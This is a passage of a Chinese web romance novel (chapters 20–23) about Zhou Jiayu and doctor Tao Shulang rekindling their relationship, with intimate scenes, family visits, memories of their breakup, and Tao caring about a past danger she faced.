在极致的摩擦间,周家瑜瞬间出了一身汗,再看身上的陶舒朗,他也好不到哪里去,他的额头正有汗流下来,她伸手替他把汗抹去,陶舒朗的眼睛一直看着周家瑜。 两个人身体拧在一起,眼神也一直在纠缠。 纠缠中身上薄被的窸窣声,还有床垫的震颤,陶舒朗找到合适的力度,两个人四肢交缠,紧紧抱在一起。 事后周家瑜又睡了一小会,醒来的时候发现自己趴在陶舒朗身上,她身下是结实的身体,陶舒朗在看手机屏幕,她醒来后翻身背对着陶舒朗,他把手机放下,也侧躺在她身侧,一只手支着胳膊,另一只手伸到她身前握住她的手。 他声音这会有点暗哑,里面有餍足和温柔,他低头不断地亲着她露在外面的肩膀,边亲边问,“冷不冷?” “不冷。”实际上,开着中央空调,身上的羽绒被有点热。 接着他又在她耳边问,“刚才好不好?” 问完见她不答,又贴了她一下,“嗯?” 周家瑜背朝着他,两个人身体相贴,她的脸竟可疑地热了一下,说完她的脸忍不住去贴身下丝滑的床单,“好,很舒服。” 身后的人听见她这么说在她耳边低笑起来,气息在她耳边缠绕,她顿时感觉身 上又麻又痒。 陶舒朗支着胳膊,把她脸上的表情变化看得一清二楚,他脸上表情比平时快乐个十几倍,带着意气风发的少年气,正兀自开心中却被人一把拧住了。 周家瑜回头看他,他脸上有疼痛的避让,还有舒适的甘之如饴。 第20章 第20章脸皮可以抛掉 现在天越来越短,天已经黑下来了,周家瑜从酒店地下停车场开车出来,她去了周元明的店,已经有几个月没来过这家店了。 周家瑜把车停在便利店不远处的大路边,坐在车里,她想起自己上大学前的那个暑假有空的时候会过来帮忙。 那时候周元明负责进货,周家瑜理货整理货,开超市有时候会有奇葩的顾客,父女两个会等人走后一起吐槽。 看到店里灯火通明,还有外面亮着的招牌灯,往事历历在目。 透过门上的玻璃,周家瑜看见周元明正坐在柜台那里吃饭,眼睛一直盯着面前的手机,表情都没有什么变化。 她坐在车里看了十分钟,又低头看了看手机屏幕,是她刚刚给周元明发的信息,“爸,我给你买了蛋白粉,记得喝。” 随后她把手机熄灭,并不在意对方是否回复,然后开车离开了。 周家瑜晚上回家和彭月华一起吃饭,桌子上是下午炖了很长时间的鹅肉,炖鹅的料包是开火锅店的表弟自己配制的。 吃上去味道就是好,吃完饭周家瑜去收拾厨房,彭月华去洗衣服,几周不见好像也没有什么要说的话,见面就是在一起吃顿好吃的,母女两个都独居惯了,都有自己的生活节奏。 周家瑜回住处的时候,副驾上是两盒炖鹅,彭月华让她带回江城,冻在冰箱里慢慢吃。 到了楼下停好车,周围没有陶舒朗的车,他今天晚上科室有聚餐,运气好,可能不喝酒,但是要负责把几个科室主任城东城西地送回家。 路上还要听他们作为前辈的肺腑之言,通常是我不错,你也不错,接着语气委婉地点一下某某主任不太行,你好好干,我看好你,我是个实在人,有事跟我商量之类的,这些在周家瑜看来都算酒后的社交屁话,第二天酒醒之后谁都不记得了。 如果有一天说废话的人可以被收税就好了。 运气不好,陶舒朗可能会被各种祝酒词劝酒,一杯酒四口喝完就四季发财,六口就六六大顺什么的,一轮接着一轮,这个主任带一个,那个主任带一个,最后一桌再轮番敬酒。 敬酒终于结束后,服务员脸上带着疲惫,走进来站在门口附近,拿着单子等着写这屋最后要吃的主食,这才是饭局要落幕的福音,通常是一人一碗葱花清汤面结束,也会配素馅肉馅和海鲜馅的水饺。 有时候领导还会教人忆苦思甜,会点刚烙的小饼加香油和芝麻拌的咸菜干,劝酒当然也会劝饭,大肚子血脂高的领导会转着圆盘挨个劝饭,来,一人再来一个,清盘行动。 最后醉酒加吃多的一群人浩浩荡荡地来到门口,在门口握着彼此的手依依惜别,然后有车的再在门口等个代驾来把自己送回家,上车之前大家还要举起双手挥别示意。 周家瑜抬头看,三楼的两户都黑漆漆的,下午她和陶舒朗在酒店腻歪了一下午,出酒店的时候两个人一前一后出来的,周家瑜先走,两个人的关系倒不是见不得人,她就是不想让别人触及自己的感情生活。 这会她拎着沉甸甸的两个盒子上楼,这周回来几顿真的高油高盐,大荤大素,摄入热量超标,她跟着视频跳了会操。 洗头洗完澡之后,她开始收拾沙发,正用粘毛器滚沙发的时候,有人在轻轻敲门,非常有规律的三下。 她在猫眼里看了看,外面的人有所察觉,也抬头看着猫眼。 打开门,陶舒朗站在门口,站姿倒看不出是否喝醉了,他的手扶着墙,门一打开他就看着周家瑜,眼神有点湿漉漉的,像是静静地等待被人收留的样子。 周家瑜把门开得更大一点,他立即站直身体走了进来。 进门他就把人抱住,周家瑜鼻子皱了皱,陶舒朗身上有包间的味道,酒味还有烟味尤其明显,他是不抽烟的,看来今天晚上吸了很多二手烟。 她抽动鼻子的声音被陶舒朗听到,他松开她站直身体,抬起胳膊闻了闻自己的衣服,“我身上是不是有烟味?” “很明显。” 他接着自证清白,“我没有抽烟,一起吃饭的有抽烟的。” 周家瑜点头,“你要不要回家换衣服。” 陶舒朗转身坐到了沙发上,沙发扶手上还有粘毛器,“我一会换,这会不想动。” “你要不要喝点东西。”周家瑜站在他身前,陶舒朗向后靠着沙发,仰着脸目不转睛地看着她。 “都可以。” 周家瑜想起之前从家里拿回来一罐焦枣,就是把红枣的表皮烤焦,然后热水冲泡来泡茶。 她在桌子上找到那罐枣干,“喝枣茶吗?” 陶舒朗的眼神如同定位器,周家瑜走到哪他看到哪,他惬意地坐在那,漫不经心地回答,“嗯。” 喝了一口浓浓的枣茶,他记起小时候冬天好像经常喝这个,现在很长时间没喝过了,还是那么熟悉的味道,喝了一口胃部感觉舒服了不少。 来到让人放松的环境,他这会头有点晕,“我能不能在沙发上躺会?” 说完不等周家瑜回答,他已经脱掉外套和鞋子身体下移躺在沙发上了,他一只胳膊抬起遮住了眼睛。 周家瑜看他难受的样子,用温热的毛巾擦了擦他的脸和手,陶舒朗乖乖地放下手臂让他擦脸,擦完她刚起身的时候他拉住她的手,他轻轻地一拉,她又坐回他身旁。 陶舒朗把她的手放在自己的脸上,无声地蹭了一会,然后转头用嘴巴亲了亲她的手心,他睁开眼睛,温柔安静地看着周家瑜,“我晚上能不能留在这里?” 周家瑜像被蛊惑一样地点了点头。 他开心地笑起来,“我能不能先洗个澡?” 周家瑜打开对面的房门,给现在躺在沙发上一动不动但一会要洗澡的人拿换洗衣物还有洗漱用品,浴室的东西拿了,周家瑜进了卧室。 这个房子周家瑜来过几次,但却是第一次进卧室,卧室的装修风格也是她喜欢的,浅灰色的床品还有黑胡桃色的家具,床头柜上有几本厚厚的书随意地摞在一起。 周家瑜在收纳柜第一层找到了袜子还有贴身衣物,陶舒朗收纳做得不错,持家小能手。 锁好房门回到家,沙发上的人已经不见了,仔细一听浴室传来哗啦啦的水声,周家瑜敲了敲浴室的门,水声停止,门从里面打开,陶舒朗非常坦然地站在周家瑜面前,拿走了她手里的洗漱用品还有浴巾。 关门之前他说了一句,“我很快就好了。” 周家瑜想起刚才看到的那一幕,热气缭绕的浴室,里面的人身上湿漉漉的,水滴正从紧实的肌肤上蜿蜒地滑落下来。 周家瑜全身有些发热,她走去阳台,把窗户开了一道缝,站在那吹晚风,想把刚才那个性感的剪影从自己的脑海中吹出去。 周家瑜手里拿着杯子,不知不觉已经站在那里喝完了一杯茶。 浴室的门打开,陶舒朗腰间只围了一条浴巾就出来了。 他朝周家瑜走过来,电影或电视剧中的经典场景冷不丁地在眼前出现,周家瑜楞了几秒钟,“你去卧室换睡衣,阳台上开着窗,别过来,会感冒。” 屋里有暖气,温度不低,开着窗户正是凉快的时候,陶舒朗喝了酒洗完澡,正想吹风散散热,他走过来在后面把周家瑜搂在怀里,他们两个人一起看着外面。 有冷风从窗户缝里拂进来,好像还听见对面楼有家长吼孩子的声音。 周家瑜自然地重心靠后, 安然地靠在他的怀里,“医生不养生吗?洗完澡就吹冷风。” 陶舒朗吻了吻她的头顶,只说,“医生是医生之前,先是一个普通人。” 头顶的吻像是直接吻到了周家瑜的心里,她感觉胃部有点暖和,“嗯。” “今年冬天比去年冬天要暖和,你说还会下雪吗?” “会,每年都会,只是早晚而已。” 陶舒朗在卧室换完睡衣出来,看到周家瑜正坐在客厅茶几旁在拆一个盒子,里面是拼了一半的拼图,还有一半散的。 是冬灯圣诞节的拼图。 看他出来,周家瑜问,“你累不累,要不要去睡觉?” 陶舒朗坐在她旁边,看着她在那摆拼图,“不累。” 他看着拼到一半的拼图,“拼图很漂亮,需不需要助手?” 周家瑜笑起来,眉眼之间全是笑意,陶舒朗看着她的脸庞,摸了摸她莹白的耳垂,那里还有自己几年之前陪她一起打的耳洞。 他内心汹涌,但是表面不动声色,照着摆在桌子上的原图低头找起拼图来。 十点多的时候客厅里的灯已经熄灭了,外面小区楼下的路灯照进来,依稀可见木桌上已经拼好的拼图。 家里卧室下面透出一线光亮来,里面有人说话的声音,周家瑜睡觉不喜欢和别人一床被子,两个人一人一条被,两个人一左一右地躺在床上,身上是一样的沐浴露味道。 周家瑜正要关灯的时候,他跟她讲,“我胃有点不舒服。” 周家瑜伸出胳膊摸了摸他的额头,“你要不要给自己开点药吃?” 陶舒朗躺在那里,人畜无害地摇了摇头,他喝了酒,借着酒劲提出自己的要求,脸皮什么的都可以抛在脑后了,他握住她的手,“你给我揉揉就好了。” 周家瑜把手伸进他的被子里,手下是热乎乎的凹凸不平的起伏感,陶舒朗舒服得像全身泡在温泉里。 过了一会周家瑜问,“有没有好点?” 陶舒朗趁势翻身把她拽过来抱在怀里,两个人都穿着舒适的棉质睡衣。 看他的样子周家瑜说,“看来胃好了。” 陶舒朗把头埋在她的颈窝,嗅着她身上的味道,“你的手很管用,已经好了。” “那现在要不要睡觉?” “嗯。” 于是两个人有了睡前的一段交流。 “你要抱着我睡吗?” “嗯,可以吗?” “你的胳膊不会麻吗?” “没关系。” “但是我的脖子还有耳朵会痛。” 陶舒朗声音好听地回答,“但是我这会很想抱着你。” 周家瑜想了想,“那可以抱一小会,等我睡着了要各睡各的。” 陶舒朗捏了捏她的脸答应,“好。” 不知道是不是因为陶舒朗今天晚上喝酒的原因,他的怀抱比平时还要暖和,周家瑜在非常舒服的,暖和到好像快要微汗的温度中很快就睡着了。 陶舒朗闭着眼睛等她的呼吸均匀下来,侧脸在她的额头上轻轻地亲了一下。 周家瑜无意识地又往他怀里钻了钻。 外面金星伴月,陶舒朗怀里有整个世界。【你现在阅读的是魔蝎小说 moxiexs】 20-30 第21章 第21章那要看你 清晨时分,周家瑜梦到自己淋到了雨,结果醒来发现是一场梦,她很快就知道自己为什么会做这种梦,因为有人正贴在自己身后亲自己的脖颈。 轻轻的痒痒的扰人清梦。 她向右移动并拉走了自己身上的被子,背后的人却如影随形,跟着她换了新位置,看到她终于醒了,亲得更用力了。 她像鸵鸟一样把头埋在柔软的薄被里嘟囔,“我好困,要继续睡觉。” “嗯,会睡得更香。” 说着变本加厉地用手揉上了,刚才还只是亲。 陶舒朗下巴有新长出的胡茬,刺得周家瑜背部的肌肤一抖一抖,这会因为是清晨,有点光亮但是不足以看清彼此脸上的表情,只听见呼吸声越来越重。 似梦非梦间他还是得了逞,周家瑜又困又刺痒得舒服。 大床在有节奏的震颤,但声音只隔绝在这间屋子里。 周家瑜觉得自己被一只有力的小船推着走,不小心掉下去,舒适的感觉顿时变成了空虚,她反应过来立即哼唧表示不满,耳边有人低头吻了吻她的鼻尖,立即又把她拉上船满足了她。 小船荡呀荡,终于结束的时候有人用手指摸了摸她的嘴唇,并亲了亲,说睡吧,她立即再次进入梦乡。 周家瑜是被门口的敲门声吵醒的,她看了看身旁的陶舒朗,他这会也不神经衰弱了,正安静地睡着,她找到被扔在床尾的睡衣穿上,趿拉上拖鞋,刚醒还有点站立不稳地去门口应门。 她打开猫眼向外看,彭月华正提着早餐站在门口。 周家瑜快速照了照镜子,发现自己只是头发有点乱,立即用手拢了拢,她打开反锁的门跟彭月华打招呼。 “早啊,妈。” 彭月华看她睡脸惺忪的样子,“我把早餐给你放在桌子上,你先去洗漱。” 周家瑜扎起头发,正想去浴室洗脸清醒一下,彭月华叫住了她,“你先等会,早餐店周末人多,排的时间有点长,我先上个厕所。” 周家瑜点点头,转身回了客厅坐在椅子上,闻着桌子上的早餐味道继续闭着眼睛打瞌睡。 一大早,食欲还没有被唤醒,她现在一心只有继续睡觉。 她感觉自己好像忘了什么重要的事情,突然大脑中一个激灵,她顿时就清醒了。 陶舒朗的洗漱用品还在浴室里,刮胡刀牙刷之类的,一看就是男款。 彭月华出来的时候表情和平时无异,但是她时不时地看周家瑜一下,周家瑜起身去洗脸,彭月华看了看卧室的方向,走近低声问她,“卧室里现在有人吗?” 接着彭月华看到周家瑜脖子上的一小块吻痕。 她轻轻地点了点女儿的额头,“做好措施没有?” 周家瑜成年之后彭月华和她谈心,跟她聊了聊男女之间的亲密关系,并千叮咛万嘱咐,以后找男朋友一定要擦亮眼睛,一定要做好安全措施之类的。 周家瑜点了点头。 彭月华难得有点八卦的兴致,“他在关城上班吗?” “嗯。” 女儿周末难得回来一趟,彭月华看她这会不想多谈的样子,好像有什么隐情,“谈恋爱一定要认真谈,不能儿戏,知道吗?” 周家瑜又点了点头。 彭月华走后,周家瑜坐在那里看着桌子上的早餐都是自己爱吃的,她走到窗边,彭月华刚走到楼下,正推着电动车准备离开。 母女两个好像心有灵犀,彭月华向楼上看了一眼,冲着周家瑜挥了挥手离开了。 周家瑜回到卧室,床上的人还在睡,昨天晚上两个人睡得很早,清晨闹了一场,又继续补眠,睡眠时间快九个小时。 刚洗完脸,她现在已经清醒了,坐在床边看着陶舒朗的睡颜,用手指轻轻地滑了滑他高挺的鼻梁,她靠近轻声问,“还继续睡吗?” 没反应,她继续问,“要不要吃早饭?” 以为还是没回应,正想起身的时候被人一把拉住,他刚醒的声音有点沙哑,“嗯,让我醒醒,有点饿了。” 陶舒朗洗漱完从浴室里出来,看到餐桌上丰盛的早餐,他知道这家早餐店,“你几点起的,排了多长时间?” “比你早半个小时,没多长时间。” 她没提彭月华来过,并且还很自然地发现了他的存在,两个人一起津津有味地吃着早餐,陶舒朗昨天晚上睡了整觉睡眠质量还很好,对他来说是久违的感觉了。 周家瑜觉得自己对于两个人的现状很满意,告诉陶舒朗自己妈妈知道他的存在根本没意义,可能还会把事情变复杂。 之前两个人谈恋爱的时候,周家瑜都没有告诉家人自己恋爱了,但她想彭月华应该通过蛛丝马迹早就知道自己恋爱了,比如寒假提前回校,是回去好和陶舒朗腻在一起,有一次为了过情人节,她都没在家过元宵节。 现在的周家瑜会认为当初的自己恋爱脑吗,好像也没有特别的认同,就是情之所至,两个人在一起很投契,很快乐,就想抓紧所有的时间尽可 能地待在一起。 现在她反而觉得当时的体验很珍贵。 那种纯粹的喜欢她现在好像没有了,不管是对谁,即使是对同一个人。 即使是对陶舒朗。 吃完饭,两个人去逛超市,周家瑜下午就要回江城了,是陶舒朗要买东西,买的时候他站在货架前在那里研究配料表,周家瑜因为自己生活惯了,现在去买东西相中了就本能地想拿出手机搜同款去查一下网上的价格。 如果价格相差不少,她一般会推迟满足感,回去在网上下单然后等着快递到。 她这会意识到自己的习惯,把手机收起来,和陶舒朗一排一排地转,发现他买东西还是跟以前一样,研究一会相中了就买。 周家瑜在想,如果之前听到的传言为真,他工资不低,还有一笔不菲的意外遗产,现在应该实现了某种程度的财务自由。 她接着幻想,如果有一天自己买东西不需要看价格就好了,再细想,再有钱她也是会节俭的人,她就是这样的行为习惯,从小到大养成的,变不了。 因为是星期天,超市里人头攒动,不少人携家带口,小孩坐在推车里,夫妻两个一个推车一个挑东西,这种场景周家瑜在大学时也曾憧憬过。 现在两个人一起站在货架前,陶舒朗时不时地问周家瑜的意见,“你觉得哪款麦片好吃?” 周家瑜指了指自己常吃的那一款,用来拌酸奶简直是人间美味。 两个人去出口处结账,陶舒朗推着购物车,一会又站在机器前一一扫描着包装袋上的二维码,周家瑜突然意识到他本人很有居家男人的人夫感。 她在想,可能是陶舒朗年纪大了的缘故。 在地下车库把东西放进后备箱,时间离中午还早,陶舒朗问周家瑜,“要不要一起去看个电影。” 周家瑜才发现自己已经很久没去过电影院了,之前两个人在一起的时候,有好看的片子上映就会找时间去电影院打卡,现在去看一部也不错。 两个人坐在车里各自抱着手机研究了一番,才发现对上映中的几部片子都真的没有什么想看的欲望。 两个人决定直接开车回家,半路上经过一家咖啡店,买了咖啡,奶茶还有甜点,他们准备在家看电影。 最后两个人在陶舒朗家看电影,他有大屏投影仪,四舍五入跟私人影院差不多,陶舒朗去整理冰箱,周家瑜听着厨房的动静,一个人窝在沙发上选电影,最后她选了一部黑白的悬疑电影。 她喝着奶茶,嚼着里面的黑珍珠,电影先按了暂停,她在等另一位观众,一会陶舒朗回来手里端着一个果盘,里面都是周家瑜喜欢吃的水果。 这部电影里,丈夫发现自己妻子出轨,准备雇凶制造意外,里面的妻子确实有个情人,这部片子周家瑜已经看过两次,但是每一次都看得津津有味,里面的几个角色情绪都很稳定。 尤其是里面的丈夫角色,抽丝剥茧地作恶,却带着不疾不徐的优雅腔调。 两个人并排坐在舒适的沙发上,陶舒朗这会半抱着周家瑜,她想到电影里的情节,突然问了他一个问题,“如果我们两个见面的时候我已经结婚了你会怎么做?” 陶舒朗沉默了一会,好像真的在想这个问题,“那要看你。” “嗯?” 周家瑜心领神会,嘴角弯了起来,“你是说如果我需要,你会做我的情人?” 陶舒朗抱着她的手紧了紧,好像某种确定,“嗯。” 周家瑜脑海中想了想可能会发生的场景,她觉得万一真的一语成谶,会非常有趣,“不错。” 陶舒朗拿下巴蹭了蹭她的头发。 午饭新任准情人陶舒朗又化身田螺姑娘,他一个人在厨房里忙活,煎了牛排,焗了大虾,烤了蔬菜还有蛋挞,周家瑜也是刚知道他会做甜点,尝了一个刚出锅的蛋挞,味道居然跟甜品店的相差无几。 “味道很不错阿。” 因为蛋挞刚出炉,有些烫,周家瑜一边吹着一边吃,陶舒朗看着她吃得津津有味的样子,他觉得很满足,生活中让人心满意足的时刻真的不多。 他告诉周家瑜,“做甜品属于个人的小爱好。” 周家瑜这会是真的有点惊讶了,因为陶舒朗自己对甜品的态度一般,平时她自己心情不好的时候会吃甜点来解压。 她的神情陶舒朗看在眼里,“做甜点让我觉得很安静,很解压,所以时间久了就成了一种爱好了。” 她点点头,“嗯。” 吃完午饭两个人抱在一起睡午觉,两个人最近的睡眠质量都提高了不少,他们很快就睡着了。 陶舒朗晚上夜班,下午有时间送周家瑜去高铁站,两个人在去高铁站的路上去吃了冰淇淋。 陶舒朗拍了一张她吃东西的样子,今天是周末,不用上班,周家瑜直接素面朝天,皮肤瓷白,睫毛低垂根根分明,正安静认真地品尝着杯子里的甜品。 陶舒朗一直在看她,他面前的冰淇淋没怎么动。 距离高铁班次发车快二十分钟的时候,陶舒朗的车子还停在高铁站外面的路边,周家瑜还坐在副驾上,两个人正吻得难舍难分。 手机闹钟响了起来,两个人在气喘吁吁的漩涡中清醒过来,车子重新发动,驶向高铁站。 第22章 第22章半融化的巧克力 周家瑜在进高铁站风帘之前跟陶舒朗挥了挥手,陶舒朗车窗降下,一直看着周家瑜的身影,他车附近站着一个保安大叔,一副超过允许停车时间随时要赶人的样子。 陶舒朗的生活中有不少离别,母亲关宴青的离世,父亲陶合敬的再婚,最让他体会深刻的是周家瑜的离开。 体会彻骨。 即使现在两个人又在一起,每一次的重聚让人欢喜,每一次的离别让人怅然若失。 列车上,周家瑜坐在靠窗的座位上,她看着外面一闪而过的风景,车厢内有人的手机突然响起来。 让人熟悉的旋律。 三年前,两个人分手之后,周家瑜过了一段浑浑噩噩的生活,那段时间她刚毕业,正憧憬着未来生活的时候被分手了。 她在住的房子里躺了快二十天,好像全世界只有自己在没有人知道的角落经历一场不能诉说的酷刑。 有一天早上起来刷牙的时候,她看着镜子中那双有痛意的眼睛,觉得自己真的不能再这么下去了,周家瑜决定离开自己现在这个独处的环境,她打开手机看着地图,随便选了一个从来没有去过的城市。 到南城的时候已经是晚上八点多了,高铁上的盒饭价格不便宜,还没上班的周家瑜能省则省,出站后她拎着一个旅行包等到了进市区的公交车。 下车的站牌在一个广场附近,周家瑜最近一直吃的不多,瘦了有四五斤的样子,今天久违地出门一折腾,明显感觉到自己体力不支,她这会肚子很饿,头有点晕,身体还有点发热的感觉。 广场周围很热闹,小吃店什么的应该比较好找,不远处就有一家拉面店,她好像已经闻到了拉面的味道。 就在她要抬脚离开的时候,广场一个比较昏暗的角落传来悠扬的小提琴声,周家瑜不知道是什么曲子,只知道那首曲子好像从天而降,她被当场击中了心弦。 她来南城原本要打算逃离现实,却在这一刻又落回了人间,她的脚步完全不听自己的使唤,消耗着自己原本就所剩不多的体力一步一步地挪过去。 周家瑜坐在花坛旁边,听着街头动人的不知名音乐,身心有些无助,肚子又饿,眼泪却像开闸一样不停地流。 最基本的温饱还没满足,情感体验却很丰富,常常听别人说乐极生悲,周家瑜在那一刻恰恰相反,在好似无尽的悲辛中看到了一丝亮光。 她要继续向前走,最坏最苦的情伤都已经经历了,更糟的还能怎么样呢? 她感觉自己快要晕倒了 ,在手提包前面的小袋子里摸到一小块已经半融化的巧克力,口中的唾液开始不由自主得疯狂分泌,求生的本能让周家瑜已经顾不上体面不体面,吃完半固体的巧克力又把包装的锡纸舔了一遍。 恢复了一些气力,离开之前她在拉小提琴的人面前的小盒子里放了五块钱。 三年后的今天,周家瑜坐在列车上,耳边又响起那首难以忘怀的旋律。 三年如白驹过隙,内里却已沧海桑田。 她望着车窗上自己的影子,抬手用手指轻轻触了触玻璃,并给了倒影一个温柔的笑容。 周家瑜回江城之后和都姿一起吃饭,都姿刚怀孕不久,她作为新手妈妈倒是非常淡定,但是何文就很不淡定,整天在家管着她,这也不能吃,那也不能吃。 这次一起吃饭是都姿提出来的,她终于可以出来放风了,两个人刚坐在座位上,还没点餐的时候何文来了电话,周家瑜托着下巴看着对面的都姿有点不耐烦,又有点甜蜜地应着电话那边的嘱咐。 挂掉电话,两个人接着聊刚才中断的话题,“好遗憾,这次没去婚礼现场。” 都姿吃着果盘中的李子干,吃得津津有味,“听说新郎长得很不错。” 虽然只是昨天的事情,但新郎这会在周家瑜的印象中只留下一个剪影,“好像是长得还不错。” 在婚礼现场的陶舒朗给周家瑜留下的印象更深刻,这个深刻是身心上的。 都姿当年结婚去了三亚,因为她一直喜欢的一个男明星在三亚跟圈外女友结婚,周末结婚的同学据说蜜月要去大溪地,当然是都姿打听出来的。 别人朋友圈发人生大事周家瑜也只是会围观的程度,点赞的时候很少,她自己几乎从来不发圈。 她是朋友圈中存在感很低的一个人。 两个人吃完饭,现在都姿是车接车送,安全起见,她和周家瑜一起坐在车子后排,何文跟周家瑜打完招呼后在驾驶位上当个安静的司机,车子在周家瑜小区门口停住,车上的夫妻两个很有默契地同时跟她挥手告别。 一起生活时间长了,会不会很多方面都会互相受影响。 正向家里走着,她的手机响起,是陶舒朗的电话。 陶舒朗今天班上不忙,可以按点吃个晚饭,他这会站在天台上,因为不想让别人听见他和周家瑜讲电话。 “吃饭了吗?” 周家瑜的脚步声从听筒传过来,“刚吃过了。” “你现在在外面吗?” “嗯,刚到小区门口。” “赶紧回家,晚上在外面走路注意安全。” 周家瑜吸了吸寒冷的空气,嘴中呼出一阵白气,她突然想起之前自己差点被人拖走的经历,以前对于注意安全这种嘱咐,她可能觉得陶舒朗有点杞人忧天,现在她觉得怎么安全都不为过。 她回答之前沉默了两三秒,“嗯。” 有时候不说话,情绪也可以通过手机传递,就是这么神奇。 陶舒朗立即察觉到不对,“以前是不是发生过什么事?” “没有。” 周家瑜的第一反应是矢口否认。 结束通话后,陶舒朗继续站在医院的天台上,周家瑜刚才的沉默让他不安,他拿起手机又打了一个电话。 电话那边声音有点嘈杂,包厢里推杯换盏应酬的声音,“你是不是有个亲戚在江城公。安。局上班?” 电话中陶舒朗的声音罕见地有些紧绷,李牧捂住话筒跟一旁的人打了个招呼从包厢里走出来换了一个安静的房间。 “是我表妹,我之前还想把她介绍给你,结果她一听说你的职业直接就把你pass掉了。” 想想也有道理,表妹和陶舒朗的职业真的是天崩地裂的组合。 陶舒朗只关心李牧的亲戚是不是还在那里上班,“帮我查个事情。” 周一早高峰,周家瑜都会早出门一会去挤地铁,她来不及吃早餐,包里有做好的三明治,保温杯里有杂粮粥。 她出门手里拎着垃圾袋,刚扔完垃圾看见离自己不远的地方停着一辆车,好像在那里停了很久的样子。 是陶舒朗的车,他的车好像一直很干净,很少见他车子灰头土脸的样子。 透过玻璃周家瑜看见驾驶位上有人,坐在那里闭着眼睛一动不动,她走过去轻轻地敲了敲车窗。 里面的人睁开眼睛,眼睛有点发红,陶舒朗降下车窗,浓重的烟味从车内飘出来。 之前两个人在一起的时候,陶舒朗很少抽烟,会但是很少抽,这是周家瑜第一次见他抽烟这么凶,好像一夜之间就变成了重度烟民。 周家瑜有点猜到是什么原因。 她不想聊之前发生的那件事,她只问,“你吃早餐了吗?” 陶舒朗刚才的眼神里有独行者涉过千山万水的沧桑和苦楚,周家瑜懂这种眼神。 无论她的生活中发生了什么事,她有时候真的想自己一个人去体味,并不想和自己以外的人引起什么共鸣。 陶舒朗脸色依旧郁郁,像是压抑着什么东西,“还没吃。” “我也没吃,不过现在我上班快迟到了。” “嗯,我先送你。” 两个人还是赶上了早高峰,他们和其他的人一样被困在茫茫的车流中,没有人说话,没人听音乐,车里只有沉默。 就像之前两个人之间长达三年的沉默。 不问不打听。 也不忘记。 半路上陶舒朗的手机响起来,是李牧的电话,他没接,并把手机关静音。 到了公司周家瑜上楼去刷脸打卡,陶舒朗把车子停在公司路旁,在那里等着,过了一会,周家瑜下楼。 陶舒朗在车里等的时候给李牧回了一个电话,两个人简短聊了几句,李牧最后说,“幸亏没有实质性的伤害,你们两个好好聊聊。” 陶舒朗看着车前洒满晨光的马路,眼睛里却是翻腾的黑暗。 有人开车门,周家瑜坐进来的时候,他的表情已经和平时没有什么区别。 两个人决定在公司附近吃早餐,先路过一家咖啡店,它家的招牌早餐是黑咖啡加烤吐司,吃过之后真的念念不忘,不过周家瑜平时是很少去吃的,她还要攒钱,如果她经常去,不开玩笑,一个月的工资真的会白领。 周家瑜突然想吃蟹粉汤包,两个人选了汤包店,这会她吸着汤包中的汤汁,脑中在盘算包里的那个三明治回办公室之后要放进冰箱保鲜。 店里有不少老人带着小孩在吃早餐,大家都忙着点餐忙着吃早餐,没人注意他们靠墙的这一桌。 两个人安静地吃着早餐,周围是嘈杂的人声,耳边是自己咀嚼食物的声音。 吃完早餐,新的一天就要开始。 陶舒朗从昨天知道周家瑜发生什么事后情绪就一直很不好,各种感受都有,主要是自责内疚和心疼,他在周家瑜楼下枯坐半夜,车内一直烟雾缭绕。 他不知道从何说起,说自己知道之前发生了什么事,两个人三年一点联系都没有,现在再说这种话,他都觉得自己是个言行不一的伪君子。 陶舒朗在这里思绪翻腾,周家瑜吃完美味的早餐,对面的人长着一张低调的帅脸,现在却散发着厌世的气息。 她不需要有人一早这样影响自己的心情。 “汤包很好吃。” 不吃真的很可惜。 接着她说,“我们分手期间发生什么事,都不需要你对我负责。” “舒朗,我的生活我自己负责。” 第23章 第23章乌托邦里生病的人 吃完早饭,陶舒朗送周家瑜回去上班,他表情平静,但是眼睛有点困倦,下车时,周家瑜把家里钥匙给他。 “回去之前先休息一下吧。” 陶舒朗接过钥匙握在手中。 周家瑜今天班上比较 忙,李牧在接待客户,周家瑜发现他带着客户从办公室路过的时候好像还看了自己一眼。 她午餐一般在公司食堂解决,吃饭之前给陶舒朗发了一条信息,“你到关城没有?” 没人回信息,石沉大海。 下午下班后,她在小区附近的便民超市买了排骨和萝卜,准备回家炖汤喝。 打开家门她发现地被扫了也拖了,家里比平时更窗明几净一点,打开卧室,床上是空的,床品凌乱,还是自己早上离开时的样子。 书房的门是关着的,打开房门,书房一米二宽的小床上正躺着一个人,被子盖得严严实实。 她掀开被子,发现陶舒朗的脸色苍白如纸,额头上还有几点冷汗,她摸了摸他的额头,温度有点高,他下意识地在她手心蹭了一下。 周家瑜和陶舒朗在一起的时候从来没有见过他生病,因为他平时注意饮食,还一直有健身的习惯,她曾半开玩笑似地说,“你要努力维持好我喜欢的腹肌。” 他当时笑着答应。 现在看到他这副以前从来没有见过的生病样子,她有些迷茫,同时心里也有些酸涩。 她榨了一杯橙汁,让他坐起来喝,他肤色本来就白,生病后的苍白竟然没让颜值打折扣,周家瑜一直知道自己是喜欢陶舒朗的长相的,连上下嘴唇的厚度都恰到好处。 她在内心有些鄙视自己,同时也做了一定的妥协,自己审美就是如此,没有办法。 周家瑜从柜子里拿出自己的药盒,感冒药,胃药,腹泻药,分门别类,摆得很仔细,陶舒朗拿了一板药。 晚上七点钟的时候,阳台上的烘干机在运转,里面是陶舒朗的衣物,周家瑜人在厨房,燃气灶上砂锅咕嘟嘟地作响,她一手端着一只小碗,一只手拿勺子在撇去排骨汤上的浮沫。 屋里是烟火气和肉汤的香味,书房的门是开着的,味道飘进了书房。 那间小小的书房好似周家瑜的乌托邦,现在乌托邦的小床上躺着一个生病刚刚吃过药的男人。 陶舒朗在床上躺着发冷汗,周家瑜做好饭后走到他床边,“吃饭了。” “嗯。”陶舒朗答了一声算是回应。 周家瑜想起自己小时候,还有和陶舒朗在一起生病的时候,“你要不要在床上吃?” 陶舒朗顿了顿,像是没想到自己还有这个选择,“不用,我下去吃。” 陶舒朗身上穿着刚刚烘好的睡衣,餐桌的灯是暖色光,桌子上是排骨汤和清炒西蓝花,排骨汤只放了盐和胡椒,熬好的小米粥里放了南瓜和山药,还有蒸地瓜和签子馒头,周家瑜本来想吃米饭,考虑到病号好消化,所以选了从家里带来的馒头。 陶舒朗又吃到周家瑜做的饭,对他来说,和心爱的人在一起吃饭,这就是家的味道。 他对自己长大的那个家感觉比较复杂,家对他来说曾经是避风的港湾,给他提供良好的教育,他从小到大按部就班,一直是邻居家的乖孩子,父母以他为傲,虽然他自己没有多少感觉。 